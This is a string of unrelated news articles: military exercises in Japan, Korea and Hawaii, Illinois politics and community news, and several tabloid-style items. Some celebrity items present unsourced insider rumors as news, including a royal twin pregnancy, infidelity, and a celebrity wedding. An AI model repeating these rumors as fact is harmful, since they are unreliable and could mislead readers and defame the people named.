The final day of the Benkyoukai Partnership Week concluded with VFA-195 traveling to Hyakuri Air Base for a debriefing, a tour, and a barbecue hosted by the JASDF Seventh Air Group. The JASDF Seventh Air Group, which is the parent organization for the 302nd and 305th, hosted the events at their headquarters, where each squadron presented their lessons learned from the weeklong event.

"We have observed years of increasing aggressiveness in the Asia-Pacific by several neighboring countries," said Lt. Col. Watanabe, Commander of Japan Air Self-Defense Force 302nd Squadron. "The opportunity to work more closely with the United States Navy, developing our relationship while building confidence in each other, will bear fruit for years to come." Snodgrass said, that this, the exercise, is only the first step along the path to a more in-depth operational partnership with the 302nd and 305th.

The interoperability we are developing and the friendships we are forging along the way will strengthen our squadrons while providing a very unique opportunity for professional development, said Snodgrass. VFA-195 is currently coordinating subsequent events in August to foster the new partnership initiative.

VFA-195 is part of the U.S. Navy's permanently forward-deployed naval forces assigned to Carrier Air Wing Five at NAF Atsugi, Japan. They are sent out on board USS Ronald Reagan (CVN 76) in support of security and stability in the Indo-Asia-Pacific.
SEOUL, South Korea -- In the largest exercise of its kind in more than a decade, U.S. and South Korea Soldiers worked together, April 8, in a river crossing exercise involving both air and beach assaults, sectional pontoon bridges, helicopters, tanks, boats and many others, to cross the Imjin River.

Fort Hood, Texas-based Soldiers from the 2nd Battalion, 8th Cavalry Regiment "Stallions," 1st Armored Brigade Combat Team, 1st Cavalry Division; executed the river crossing exercise with Soldiers of the Fort Hood-based 74th Multi-Role Bridging Company "River Rats," 62nd Engineer Battalion, 36th Engineer Brigade; and Soldiers of the Fort Drum, New York-based 6th Squadron, 6th Cavalry Regiment, 10th Combat Aviation Brigade; and the Republic of Korea Army's 6th Engineer Brigade to secure the area, emplace the floating bridge and maneuver a large element of tactical vehicles across.

The Imjin River, the seventh-largest river in Korea, flows from North Korea into South Korea across the Demilitarized Zone, eventually joining the Han River south of Seoul. Nicknamed the "River of the Dead," it was the site of a number of battles during the Korean War and is still a defining terrain feature in the current conflict between the two countries. Movement of military vehicles and personnel across the river is a training requirement set forth by the 2nd Infantry Division, and the 'Stallions' were selected to execute it.

"It was a complex mission with a lot of moving parts," said 1st Lt. Daniel Desmond, platoon leader, Company B, 2nd attalion, 8th Cavalry Regiment, "I've never done this kind of training before, so I wasn't quite sure what to expect."

U.S. and South Korean engineer units were responsible for the construction of a temporary floating bridge capable of supporting an M1A2 Abrams Tank, which weighs approximately 62 metric tons, one of the heaviest main battle tanks in service. More than 20 bridge sections, weighing 12,000 pounds each, were brought in by CH-47 Chinook heavy-lift transport helicopters and modified bridge transporter trucks. Pieces were then moved into place by bridge erection boats and joined together to create the bridge span.

Cpl. Kangsan Kim, River Crossing Company, 6th Engineer Brigade, 6th Army of the Republic of Korea, was one of several engineers tasked with getting the float bridge to span the entire width of the Imjin River.

"I was working with a "T" wrench, which is used to connect and lock in place the different sections of the bridge," said Kim.

After 45 minutes of intense work, the float bridge was complete. This allowed 11 M2A3 Bradley Infantry Fighting Vehicles and four Abrams tanks to begin their journey across the river, approximately 30 meters deep in the center.

Sgt. Joshua Smith Sr., dismounted infantry team leader, Company B, 2nd Battalion, 8th Cavalry Regiment, who watched out of the troop door of the Bradley as his team crossed the span, said the experience was very unique.

"The training was awesome," said Smith. "It was my first time doing something like this and you never know if it'll be your last chance. The bridge allowed us to meet and engage the 'enemy' on the far side of the river," said Smith.

U.S. Soldiers worked hand-in-hand with Republic of Korea Army forces to complete the objective.

"The Korean Army was instrumental in the success of this mission," said Desmond. "The task was completed to standard and the ROKA Soldiers were very professional and efficient, even with a language barrier between us. When you've got two nations working together with this many moving pieces, it's a great thing to see the mission being a complete success."
SCHOFIELD BARRACKS, Hawaii -- Soldiers from 8th Theater Sustainment Command and its subordinate units 8th Military Police Brigade and 130th Engineer Brigade, conducted intelligence exercise Perspicuous Provider April 18-22 at Mission Training Complex -- Hawaii here.

Approximately 55 Soldiers participated in the training, which was meant to prepare units for intelligence operations focused around sustainment and humanitarian aid rather than combat.

'It's about preparing intelligence Soldiers to think how they can help in a real world Humanitarian Assistance and Disaster Relief mission," according to Maj. Alex Marrone, the intelligence plans officer with 8th TSC.

"Its specific training in the kinds of things that we as Intelligence Soldiers are expected to be able to do," Marrone said. "In a HA/DR environment, how can we supply information to our commanders of where supplies need to go, like medical supplies and food and water, then those commanders can better plan or make adjustments where they see the need."

Along with 8th TSC were intelligence Soldiers from 9th Mission Support Command from Japan, Army Sustainment Command,196th Infantry Brigade from Fort Shafter, Hawaii and 593rd Expeditionary Sustainment Command from Joint Base Lewis-McChord, Wash.

Some of the different scenarios the Soldiers analyzed were flood ingress and egress, criminal activity, anti-American demonstrations and volcanic activity and eruption.

"I am learning to think about logistics in a HA/DR," says Sgt. First Class Marlene Noel an Intelligence Planner with 196th Infantry Brigade. "I like how this training helps junior Soldiers to think outside of the box and it also is developing junior Soldiers into leaders."

Noel stated that the training was less focused with force-on-force scenarios and more along sustainment and humanitarian aid situations.

"The key thing there is sustainment-centric intelligence," Marrone said. "Anything that affects the amount of resources that are available to go through the ports, the capacity of roads; basically freedom of movement is a key consideration for sustainment centric intelligence."

"I am learning how important our role is in a HA/DR and how I can help a commander help those in need," said Spc. Gisela Paz, an intel analyst with 593rd ESC. "I'm actually, really liking it, this is my second time doing this exercise."

Paz, one of eight 593rd ESC Soldiers who participated in the training, said she enjoyed being able to work with other units for the exercise.

Next year, Maj. Marrone hopes to see the exercise grow into a joint exercise and to have Perspicuous Provider included in the Army Foundry Intelligence Training Program.
NORMAL  Local officials hope attending a European trade show will open new doors to find a new tenant for the Mitsubishi Motors North America plant.

Normal Mayor Chris Koos and Kyle Ham, CEO of the Bloomington-Normal Economic Development Council, will go to Hannover, Germany, next week for the 2016 Hannover Messe  a five-day annual event billed "the world's biggest industrial fair," with 6,500 exhibitors and 250,000 visitors.

Our goals are fairly simple: one is to sell McLean County, Bloomington and Normal, talking to companies about the properties and assets we have," Ham said. "The second part focuses particularly on the Mitsubishi property."

State and local officials have been trying for nine months to find a buyer for the plant that ceased production in November and will permanently close late next month.

Ham said interest hasn't waned, but the trip offers a "very pointed opportunity.

A consultant has married us up with businesses looking to expand in the United States and in our region, he said. Its hard to put a price tag on that.

Ham estimated the trip will cost $12,000 to $15,000. The EDC will pay his share, and Koos said his share will be paid from a town fund that covers mayor and city council expenditures.

Obviously were going to be talking about Mitsubishi, but there will be smaller companies were meeting with who have expressed an interest in locating in Illinois, Koos said. We'll talk about facilities and try to convince them Bloomington-Normal is the place to be.

Ham said the process of finding a user for the plant won't change after it closes.

Whether people are working out there doesnt really change our process, he said. This is going to take a long view because anybody who buys this will need to put money into it. ... It will take anywhere from 12 to 18 months to get it where they need it from production purposes.

Koos said finding a tenant is a matter of connecting with the right people at the right time. He said previously that officials hoped to find a new auto user, but haven't ruled out other users.
NORMAL  Disasters happen. What matters is how people respond.

That was one message of American Red Cross Serving Central Illinois' 23rd annual Evening of Stars on Thursday night.

Delivering that and other messages was featured speaker Capt. Chesley "Sully" Sullenberger, the pilot of the "Miracle on the Hudson."

"What I hope people glean from his story is that disasters do happen but here was someone who was as prepared as he could be and he managed it," said Lyn Hruska, Red Cross regional chief development officer.

"No matter how hard we wish disasters away, they will happen," Hruska continued. "Captain Sullenberger used his education and training to save lives. So his message for us is to be as prepared as we can be and to use those skills when the time comes."

Sullenberger spoke at the Marriott Hotel and Conference Center in uptown Normal during the largest Evening of Stars ever. About 1,000 people attended the event, which is Red Cross in Central Illinois' largest fundraiser of the year.

Saying he grew up in an era when "striving for excellence was expected," Sullenberger told his audience, "We must keep on learning, stretching, re-inventing" ourselves.

"We must continue to innovate," he said.

Sullenberger piloted US Airways Flight 1549 on Jan. 15, 2009, to a successful, emergency water landing in New York City's Hudson River after the plane's engines lost thrust shortly after takeoff, which followed a collision with a flock of geese. The plane remained intact and everyone was rescued.

The incident and how he handled it brought him national fame, but he told the audience that many people contributed to the successful outcome such as his crew and the emergency responders. That is true in most emergency situations, he said.

"There are many heroes who go unnoticed," he said.

Sullenberger told The Pantagraph in an interview several weeks ago that "Each of us has a responsibility to prepare ourselves. When we do, we can have good outcomes. We can even save lives."

"Leaders aren't born," he said. "They are, in fact, made. We can learn to be better at what we do."

"When we work together according to our core values, we can make a difference," Sullenberger said.

Also speaking Thursday night was David Sanderson of Charlotte, N.C., a passenger on Flight 1549. Sanderson described his experiences as a passenger and with the Red Cross, which provided assistance after the emergency landing.

"It's a night to celebrate heroes," Hruska said. "There are heroes in any disaster. They are the people who step in instead of stepping away."

Proceeds from Evening of Stars benefit Red Cross disaster relief, assistance for military families, collection of blood and blood products and health and safety education.

Hruska said she was confident that the event would exceed its goal of raising $200,000.
BLOOMINGTON  Between studying for regular classes, Pantagraph-area high school students are tugging on fire safety gear, tweaking T-shirt designs and perfecting icing rosettes.

The skills, and others, are being taught at the Bloomington Area Career Center (BACC) in Bloomington in preparation for future careers.

Friday and Saturday, 72 BACC students will attend the state SkillsUSA competition in Springfield where they will face off against nearly 2,000 other Illinois high school students in a battle of industry skills.

I dont care if students win or lose. They gain pride, confidence and communication skills at this competition, said Tom Frazier, BACC director.

Frazier said the regular BACC curriculum has prepared students all year, but they have been buckling down the past few weeks.

I appreciate the time these kids put in to make themselves better, as well as extra time our teachers and advisors put in, said Frazier.

During the competition, students will complete tasks in their field of study such as construction, criminal justice, commercial baking, digital media, emergency medical technician and fire fighting.

BACC business and community coordinator Nikki Meyer said this will be the first year construction students will attend the competition where they will have two days to construct a small-scale house from foundation to roof with plumbing and electric to code.

We work with a lot of business partners in the community, especially local unions who help our construction guys get some hands-on experience, said Meyer.

Twin City fire departments also partner with BACC so students can gain further understanding of careers.

Central Catholic High School senior Victoria Ketterer won state last year and earned 10th place in nationals for firefighting. On Tuesday, she practiced donning fire safety gear in under two minutes with supervision from instructor Nick Isaacs.

She could lose points if the gear isnt strapped on correctly, said Issacs, retired assistant chief for the Danvers Community Fire Protection District.

Ketterer hopped into the donated fire gear, securing straps and checking oxygen levels. She also will have to hoist a 100-foot-long hose on her shoulders up three flights of stairs at the competition.

I try to practice every day and stay in shape, said Ketterer who will attend Western Illinois University to become a firefighter paramedic. This doesnt even feel like a class.

Down the hall in a computer lab, Bloomington High School seniors Andrew Coit and Raphael Larsen prepared for the digital media segment of the competition where they will design T shirts, pins and business advertisements. Both students are planning for careers in the graphic design field.

I placed third last year, said Larsen. I think Ill do better this year because Ive improved my techniques.

In BACCs kitchen, Blue Ridge High School senior Ariana Foulks stood among the stainless steel with an apron around her waist, perfecting her cake-icing skills.

She plans to attend Johnson and Wales University in Denver to study culinary arts and restaurant management.

I started coming to the BACC last year for culinary classes as a padding before college to see if this is really what I wanted to do, said Foulks.

At the state competition, she will have five hours to bake muffins, focaccia, pie crust, apple cinnamon twists and cookies and ice a cake.

Students who earn first place will advance to the National Leadership and Skills Conference June 20-24 in Louisville, Ky.
SPRINGFIELD  The Illinois Senate has approved a proposed amendment to the state constitution that would change the way legislative and congressional districts are drawn but rejected one that would have eliminated the lieutenant governors office.

Sen. Kwame Raoul, D-Chicago, sponsored the redistricting amendment, which is similar to one that passed in the Senate in 2010 but failed in the House.

Unlike a current proposal from House Democrats and another backed by the group Independent Maps, Raouls measure would leave the task of redrawing boundaries largely in the hands of state lawmakers.

Here in the state of Illinois, we are fortunate to have a state with a diverse population, Raoul said, arguing that his measure would do the most to protect influence of minority voters.

One way it would do that is by doing away with the requirement that each of the states 59 Senate districts be divided into two House districts. Separating the House and Senate district maps would allow a better opportunity for voters in communities like Chicagos Chinatown to elect officials who represent them, Raoul said.

Under his plan, the General Assembly would be required to adopt a map by a set deadline each decade following the U.S. Census. If it failed to do so, each chamber would adopt its own map for its own districts by a three-fifths majority.

If that failed, commissions appointed by the leaders of each chamber would get their turn. If the commissions failed, the two most senior Illinois Supreme Court justices of opposite political parties would appoint a special master to create the map.

A special master also would be appointed if the the General Assembly fails to approve a map for congressional districts.

The measure also would require at least 10 public hearings across the state before a map could be adopted.

The proposed amendment cleared the Senate on a 39-19 vote, with Republicans voting as a bloc in opposition  with the exception of Sen. Sam McCann, R-Plainview.

Sen. Bill Brady, R-Bloomington, said he supports the Independent Maps proposal.

Simply summed up, (Raouls proposal) still lets politicians draw their own maps, and we need to take it out of the hands of the politicians and put it in an independent body, which will draw maps to preserve the best interest of communities and the citizens of Illinois, Brady said.

The redistricting amendment now requires approval from a three-fifths majority in the House in order to go before voters in the November election. The House must act on it before May 9, but Democrats in that chamber have their own proposal.

Sen. Tom Cullerton, D-Villa Park, sponsored the proposal to eliminate the lieutenant governors office, which he billed as an effort to streamline government. He noted that its a popular campaign talking point for members of both parties.

Youve all said it. Youve all riled your constituents up about it, Cullerton said. Todays the day that it can get done.

The measure failed on a 21-28 vote with opposition from members of both parties.

Sen. Dale Righter, R-Mattoon, voiced a concern that was heard from both sides of the aisle. Because the amendment would leave the attorney general as the next person in the line of succession should the governors office become vacant, it could create a situation where the top office is transferred from one party to another.
SPRINGFIELD  In a rare showing of bipartisan cooperation amid Illinois' nearly yearlong budget impasse, the General Assembly voted overwhelmingly Friday to approve $600 million in "stopgap" funding for higher education.

The House voted 106-2 and the Senate voted 55-0 to approve the measure, which includes money for public universities, community colleges and grants to low-income students through the Monetary Award Program, all which have been deprived of funding since the budget year began July 1. Republican Gov. Bruce Rauner's administration lauded the agreement and promised his signature.

With Chicago State University on the brink of closing at month's end, lawmakers were under pressure to come up with a plan to get money to the predominantly black South Side school and other financially beleaguered institutions, including Eastern Illinois, Western Illinois and Northeastern Illinois universities.

"What we did today was a very good thing," said Rep. Rita Mayfield, D-Waukegan, chairwoman of the House Black Caucus and a sponsor of the funding package. "We actually did save CSU."

She added that Eastern Illinois and Western Illinois, along with many community colleges, are also struggling.

Chicago State will get 60 percent the funding it received in fiscal year 2015, and the state's eight other university systems will get 31 percent.

That amounts to $12.5 million for Eastern Illinois, $20.9 million for Illinois State University and $57.5 million for Southern Illinois University. The bill also includes $74.1 million for community colleges  27 percent of annual funding  and $167.6 million for about a semester's worth of MAP grants.

Unlike previous bills Rauner has vetoed or threatened to veto, this measure draws its money from a specific source: the education assistance fund, which receives dedicated revenue from state income taxes and other sources.

Mayfield was quick to point out that this is not the end of the conversation on higher education funding for the current fiscal year.

"This right here is an emergency stopgap funding (bill) in order to provide a means for our universities, our community colleges to keep their doors open and the lights on," she said.

Rep. Dan Brady, R-Bloomington, who represents Illinois State and was heavily involved in discussions with Democrats, said he'll continue negotiating and is "committed to work within a budget frame that we can afford."

"I don't have the crystal ball of what happens from here in budget negotiations," Brady said. "But I do know that the stopgap measure is critical to the universities right now, and that's what we did in a bipartisan fashion."

Southern Illinois University President Randy Dunn said he's thankful for the funding that's been approved but will continue pushing for the remaining $140 million the university has requested from the state.

"We heard from both sides of the aisle, from both Republicans and Democrats, that there's a pledge to continue working," Dunn said, adding, "We will hold those officials to that pledge."

However, House Minority Leader Jim Durkin, R-Western Springs, said the funding approved Friday could end up being all that universities receive for the current fiscal year.

"I'm not quite sure we can get anything else done on higher ed," Durkin said.

Although the Senate approved the measure unanimously, not everyone was entirely pleased with it.

Sen. Dale Righter, R-Mattoon, said there should be some relief "that we have actually been able to come together to provide some drink of water to some people who have been crawling in the fiscal desert for some time."

But Righter said he was disappointed the bill didn't do more to help Eastern Illinois University, which is in his district and has had to lay off hundreds of employees to keep its doors open.

With at least a short-term solution in place for higher education, social services remain the last major piece of the state budget not being funded.

The Senate approved a separate measure Friday, also on a 55-0 vote, that includes identical funding for higher education and $441 million for social services from another dedicated fund. That measure would fund many social service programs at 35 percent of what they received in fiscal year 2015.

The governor's office said that proposal doesn't have his support  yet.
Anyone wanting to get their pre-pregnancy body back can be a real struggle but not for Anna Strode from Melbourne, Australia. The 31-year-old mom shared her secrets of achieving her six-pack toned abs through the help of her twin babies, as her dumbbells.

The Daily Mail featured this mother to twin boys, Lachie and Samuel who did squats as part of her exercise routine partnering it with lifting her twins, who weigh around 10 kg each. What she did is strap her kids in their bouncers while consistently go on with her exercise routine.

A photo posted by Anna Strode Fit Twin Mumma (@bubs2bikinis) on Jan 18, 2016 at 6:27pm PST

Strode also included her fiance Rhett Sutton, who is a sales manager, to work out with her every morning. It doesn't only keep them healthy and fit, but it also strengthens their bond as a family. The 31-year-old fit mom is currently still on her maternity leave from her job as a marketing manager and she wants to take this time to encourage moms to stay fit. The Australian mother of twins aims to motivate mothers to make sure that they find time in taking care of their body no matter how busy they are.

She has a 20-minute workout routine every day and calls it her "me time." Strode's disciplined lifestyle made her land a feature in Women's Health Magazine highlighting not just her fit body, but also her strong relationship with her family.

It is so adorable to read how her kids are also enjoying her workout session with them that they tend to giggle and laugh whenever they see their mom working out. We hope that Strode's road to getting back her pre-pregnancy body motivates all pregnant women out there that they could do the same. Share this to your friends who you think would benefit from her story.
The Illinois Department of Public Health announced Wednesday that there were 10 additional cases of Elizabethkingia infection, including six deaths. However, the strain was reportedly different from the Wisconsin outbreak.

"Although this strain of Elizabethkingia is different than the one seen in the Wisconsin outbreak, our investigatory methods remain the same and we continue to work with the CDC and our local health departments to investigate this cluster of cases and develop ways to prevent additional infections," IDPH Director Nirav D. Shah, M.D., J.D said.

Based on the reports, the majority cases of Elizabethkingia infection are from this year but some cases date back to 2014. As of late, the rare bacterial illness has infected 59 people in Wisconsin, one in Michigan and 10 in Illinois. It has also been linked with 20 deaths, the U.S. Centers for Disease Control and Prevention reveals.

So, what is Elizabethkingia? Here are 5 important things about Elizabethkingia infection.

1. Why Is Elizabethkingia An Unusual Outbreak

Elizabethkingia anophelis is a common organism in the environment. However, it rarely causes infection to people and the current outbreak in the United States is the largest ever from this strain of bacteria, Discovery News notes.

2. Who Are At Risk For Elizabethkingia Infection?

The majority of the Elizabethkingia infections identified in Illinois have been found in the bloodstreams of patients who are over the age of 65, KWQC learns. But people who have weakened immune systems can also be infected.

"Most of the people that we are seeing with it, people that are having a serious health condition along with it so could either be a newborn, which we haven't seen," Dr. Brian Curtis, Director of Physician Practice for OSF Medical Group, said, CI Proud quotes. "We are seeing older adults that have serious health conditions presenting with what we would call sepsis. A blood stream infection with blood pressure and fever."

3. Elizabethkingia Symptoms And Fatalities

Symptoms of Elizabethkingia can include fever, shortness of breath and chills or cellulitis. A third of people infected have also died due to the infection but officials said they have not yet determined the actual cause of death on the latest cases, as per Channel News Asia.

4. Elizabethkingia Etymology And Origin

The name of the bacterium, Elizabethkingia, was derived from the name of bacteriologist Elizabeth O. King, Chron reports. The bacteria are commonly found in soil, rivers and reservoirs.

5. How Elizabethkingia Is Treated

Elizabethkingia is reportedly resistant to several antibiotics commonly use to treat bacterial infections. But according to Live Science, experts have identified several antibiotics that work to treat the bacteria in the current outbreak, including fluoroquinolones, rifampin and trimethoprim/sulfamethoxazole.

So, do you there will be more Elizabethkingia cases in Illinois? Sound off below and follow Parent Herald for more news and updates.
Many Tom Clancy's "The Division" fans were recently disappointed due to the technical problems and glitches in the latest "Falcon Lost Incursion" update. That's why Ubisoft will be giving out free Phoenix Credits as a token of apology to those who were affected by the glitches.

Tom Clancy's "The Division" Compensation

Good news, Tom Clancy's "The Division" single players! Ubisoft has confirmed that those who were affected by a game-breaking backpack bug or those who lost their character on Xbox One would receive 500 Phoenix Credits and 10 of each high-end crafting material type, IGN News reveals.

"I know that we've talked about compensation already, there will be compensation for these two [bugs]," "The Division" developer Yannick Banchereau said, as per GameSpot. "In a few days, we still need to sort it out, we are going to send to all the people affected by one of these bugs 500 Phoenix Credits and ten of each high-end crafting material. It's going to be 10 fabric, 10 electronics, 10 weapon parts, 10 tools, and also 10 Division tech. High-end."

These Phoenix Credits would allow players to buy end-game gears. In addition, 150 Phoenix Credits will also be given to anyone who logs onto Tom Clancy's "The Division" game this weekend, The Irish Examiner notes.

These will be a compensation for "The Division" missing Daily Missions. Based on the reports, the said compensation should reach each affected player within the next two weeks.

Tom Clancy's "The Division" Glitches

Despite the fact that the April update in Tom Clancy's "The Division" introduced new features and content, it also brought a series of glitches. One was the wiping out of players and the second was the removal of Daily Challenges.

Both glitches have been fixed but the "Falcon Lost Incursion" exploit that enables players to repeatedly unlock high-end items has not yet been fixed. However, Ubisoft vowed to release a patch to address the issue in the coming days.

Tom Clancy's "The Division" Servers Going Down For Maintenance

Servers for Tom Clancy's "The Division" will reportedly be unavailable starting Apr. 21 at midnight PST or 3 a.m. EST. The downtime is expected to last for two hours, another GameSpot report learns.

Aside from the maintenance, a few changes will also be implemented in Tom Clancy's "The Division." The changes include tweaks to the "Falcon Lost raid."

So, what do you think about the compensation in Tom Clancy's "The Division?" Sound off below and follow Parent Herald for more news and updates.
The common assumption among people is that the U.S. death rate of poor children has increased dramatically in the past few years. However, a new study shows that the U.S. death rate for poor kids is declining and is actually approaching the mortality rate of wealthy children.

Mortality Rate of US Poor Children Is in Decline https://t.co/JD1moszXhz pic.twitter.com/hdQGLSnKPc  ScienceDaily (@ScienceDaily) April 21, 2016

The study about the U.S. death rate decline among disadvantaged kids was conducted by researchers from the University of Zurich, Science Daily reports. The research team decided to study the death rates based on age groups in different U.S. counties instead of looking at the life expectancy at birth.

"It makes more sense to analyze the development of the individual age-specific mortality rates," University of Zurich study author Hannes Schwandt told Science Daily. "The youngest persons in the poorest regions are visibly benefiting most and fastest from welfare improvements while older people have a health history that is influenced by the past."

1913 typical infant mortality rate: 140 deaths per 1,000 births. 2016: 5 per thousand. What else do you miss? https://t.co/XfdbC8XjWi  LOLGOP (@LOLGOP) April 18, 2016

According to the 1990 U.S. death rate, 18 out of every 1,000 baby boys born in poor regions die before the age of 3. The death rate has dropped to about 10 out of every 1,000 baby boys by 2010.

In the wealthier regions, the figure has dropped from 10 babies in 1990 to approximately six babies in 2010. The researchers believe that the U.S. death rate for older people in poorer regions will also decline in the future. Janet Currie of Princeton University believes that some of the main reasons for the death rate decline among disadvantaged kids include the Medicaid program expansion and the establishment of the State Child Health Insurance Program, Reuters explains.
Angelina Jolie and Brad Pitt's relationship faced multiple divorce rumors lately. It seemed that Angelina Jolie and Brad Pitt are bent on staying away from each other, instead of being together. The "Maleficent" actress recently met Ban Ki-Moon at the UN Refugee Agency (UNHCR) in The Hague, Netherlands, without the "World War Z" actor.

According to Celebuzz, Angelina Jolie was named in 2001 as the UNHCR Goodwill Ambassador. Having reached such stature, it was just proper for her to meet with the UN Secretary-General, Ban Ki-moon.

Why Brad Pitt Was Not At The Meeting

While it was unclear as to why Angelina Jolie met with Ban Ki-moon without Brad Pitt tagging along, perhaps it was just proper for Pitt to stay at their $21,000 rental home in London. After all, Angelina Jolie was doing something political in nature and meeting Ban Ki-moon may not be considered as a family affair where Pitt should be tagging along.

US Magazine reported that the reason why Angelina Jolie and Brad Pitt moved to their new London home was for the latter's convenience. Their new home, for six months, allows Pitt to be close to the location of his 2017 "World War Z" sequel. It could be possible that at the time Angelina Jolie met Ban Ki-moon, Brad Pitt was at the set of "World War Z" fighting off zombies.

Angelina Jolie's Responsibilities As Special Envoy

Angelina Jolie's image of goodwill extraordinaire was highlighted more in 2012, when High Commissioner Antonio Guterres made her his Special Envoy. If Jolie used to carry out special missions to the most remote regions of the world when she was the UNHCR Goodwill Ambassador, her being Special Envoy added more responsibilities. Angelina Jolie's new role necessitated her to focus on mass population displacement.

So whether Angelina Jolie's recent meeting with Ban Ki-moon has something to do with divorce rumors plaguing her relationship with husband Brad Pitt, it could be anybody's guess. Fact remains that Angelina Jolie and Brad Pitt are still living together under the same roof with their six kids, Maddox, Pax, Zahara, Shiloh, Knox and Vivienne.
A total of two pregnant women has tested positive for Zika virus in Canada. Fortunately, health officials say that Canadians have nothing to worry about.

Zika: 2.2 billion in 'at risk' areas https://t.co/GO3NSqN6Zs  BBC News (World) (@BBCWorld) April 20, 2016

The two pregnant women are among the seven British Columbians who tested positive for Zika virus in Canada after visiting Zika-affected countries, Today's Parent reports. "This number of seven people testing positive is just over one percent of that number, so it indicates a pretty low level of exposure," B.C. Centre for Disease Control epidemiologist Dr. David Patrick said via Today's Parent.

As of this time, all of the seven Zika-infected British Columbians have not been hospitalized. There have also been no reports about the two Zika-infected pregnant women having any pregnancy complication. "It's a bit frightening for these two women, that's for sure, and we're going to have to wait and see," B.C.'s deputy medical health officer Dr. Bonnie Henry explains.

New research shows how the Zika virus targets developing brain cells: https://t.co/o38PcaIRTC pic.twitter.com/eHnRudwOF7  Science Magazine (@sciencemagazine) April 19, 2016

There are several ways for people who live in areas with Zika epidemic to prevent getting infected with the mosquito-borne disease. Staying in places with secure windows and doors, removing stagnant water around the area, proper application and re-application of mosquito repellent, wearing long-sleeved shirts and long pants, avoiding skin care products with strong scents and sleeping under a mosquito net are some of the best ways to avoid Zika virus transmission, Fox News reports.

These seven British Columbians are included in the 50 confirmed cases of Zika virus in Canada. Experts believe that there is a very little possibility for a Zika virus epidemic in Canada.
Kate Middleton and Prince William have been plagued with several nasty rumors ever since they confirmed that they are officially together. Now, new reports are claiming that the Duchess of Cambridge is pregnant with twins, which is the first time that has happened in the kingdom of British Royal in 700 years.

Kate Middleton, Prince William are now pregnant with twins

Celeb Dirty Laundry shared that Kate Middleton and Prince William are shocked to find out that they are now expecting not only one but to Royal babies on the way. While Parent Herald has previously reported that the wife of Prince William is not, at all, expecting another baby, new insiders from the palace stepped forward and said that the Duke and Duchess of Cambridge are having babies soon.

While it is quite impossible for Queen Elizabeth to allow Kate Middleton to travel to India and Bhutan if she is really pregnant, insiders told Life & Style Weekly that the palace is making an official announcement until Prince William's wife is 12 to 14 weeks pregnant already. However, up until now, a lot of doubts are surrounding the Duchess of Cambridge's pregnancy since she even sported a figure-hugging dresses and skintight jeans during her most-recent trip.

Kate Middleton, Prince William saving marriage thru pregnancy

Though there has been no confirmation made about Kate Middleton's pregnancy as of yet, several fans are speculating that the pregnancy of Pippa Middleton's elder sister is the couple's last card to save their marriage. Prince Harry's brother has been reportedly cheating on his wife with ex-girlfriend Jecca Craig.

As a matter of fact, Prince William's visit to Kenya has been very controversial after it was learned that he will be meeting Jecca Craig there without Kate Middleton's knowledge. After reports about Prince William meeting Jecca Craig broke, Kate Middleton then ditched the Royal family's Easter Sunday mass and spent the day with Prince George and Princess Charlotte at her Carole Middleton's home.

Do you think Kate Middleton is now pregnant with Prince William's third babies? What can you say about the reports claiming that Prince William and Kate Middleton's pregnancy is the only way to save their marriage? Share to us your thoughts in the comment section below.
A 15-year-old Vermilion High School student died on Tuesday after electrocuting himself in his family's garage. Based on the reports, the victim, Morgan Wojciechowski, was trying to recreate a science experiment he found on YouTube called, "Jacob's Ladder."

Science Experiment Gone Bad

Wojciechowski was described by his friends as a "whiz kid," was trying to do his own version of the science experiment, "Jacob's Ladder." According to his parents, they were aware of their son's fondness to conduct experiments and said they proud of his ingenuity, Parenting notes.

Unfortunately, Wojciechowski's intellectual curiosity caused his untimely death on Tuesday after he got electrocuted while trying to conduct the "Jacob's Ladder" experiment. According to New York Post, his parents found him in the garage of their Vermilion Township home in Northern Ohio after they heard a lot of noise.

Erie County sheriff's officials said emergency crews were called to Wojciechowski's residence at around 6 p.m. Tuesday. The crews then took Wojciechowski to a hospital, where he was declared dead.

"There were injuries that were consistent with electricity flowing through someone's body, on hands, feet and chest," Detective Robert Rieger of the Erie County Sheriff's Office said, as per KTLA 5 News.

"Jacob's Ladder" Experiment

Wojciechowski was trying to recreate the "Jacob's Ladder" experiment on YouTube when he died. But what is a "Jacob's Ladder" experiment?

"Jacob's Ladder" is commonly found in science museums and is also seen in the background of science fiction movies in the '50s. However, this science project can be dangerous and should not be done at home since it involves a high-voltage voltage travelling arc of electricity between two parallel wires, The Wonders of Physics describes.

At Wojciechowski's home, Erie County Sheriff's Office chief deputy Jared Oliver said they found a microwave oven battery pack attached to an electrical outlet by extension cords. Authorities also found jumper cables going from the battery pack to two pieces of a wire hanger, which were reportedly intended to be used as the parallel wires for the electricity to travel along.

"This was not a school assignment," Detective Rieger told WKYC. "This was simply something he saw on the internet and wanted to experiment with."

YouTube Is The Culprit In Wojciechowski's Death

Wojciechowski's family believed it was his fascination with a YouTube video that led to his death. The victim's step-grandfather also said the tragedy could enlighten other parents to monitor the videos their kids are watching on YouTube.

"YouTube was the culprit," Wojciechowski's step-grandfather told Cleveland CBS affiliate WOIO-TV. "It needs to be stopped. We need to monitor what's being put out to our kids. There's no going back. This can enlighten other parents too."

Vermilion High School Statement

Meanwhile, Wojciechowski's school has released a statement regarding his tragic death. In a Facebook post, the local school district described Wojciechowski as a "vibrant student and athlete," Daily Mail reports.

Do you think YouTube is to be blamed for Wojciechowski's death? Sound off below and follow Parent Herald for more news and updates.
Katie Holmes and Jamie Foxx have been rumored to be an item for years already. However, the pair kept on denying their alleged romance, but reports keep on pushing that they are in a relationship. New reports suggest that they are getting married and the venue would be her place.

Katie Holmes And Jamie Foxx Getting Married In Michigan

According to reports, Katie Holmes and Jamie Foxx have already decided where to exchange their wedding vows. The pair decided to set their lavish wedding on Katie Holmes' vacation house in Michigan.

"Katie will always remain loyal to her roots in Toledo, Ohio, and she's pouring millions into renovating her vacation house," one insider told Radar Online. The source added that the Katie Holmes is already prepping the luxury property for their wedding. The home is officially of Katie Holmes' parents, but the extensive renovations are of the A-list type.

"She loves that house and there's no doubt her obsession with the Kennedys has influenced the design and plans for this the house," the insider added. "It will be the perfect place for a wedding."

Katie Holmes Want To Spend More Time In Michigan With Her New Family

The insider disclosed that Katie Holmes is planning to spend more time in her Michigan vacation house with Jamie Foxx and daughter, Suri in the future. So, she is turning the house into a secure retreat for them.

Katie Holmes And Jamie Foxx's Real Score

At the time, it is difficult to conclude if Katie Holmes and Jamie Foxx are getting married. The pair has been plagued with engagement rumors, wedding reports and pregnancy scare, but they keep on denying the alleged romance between them.

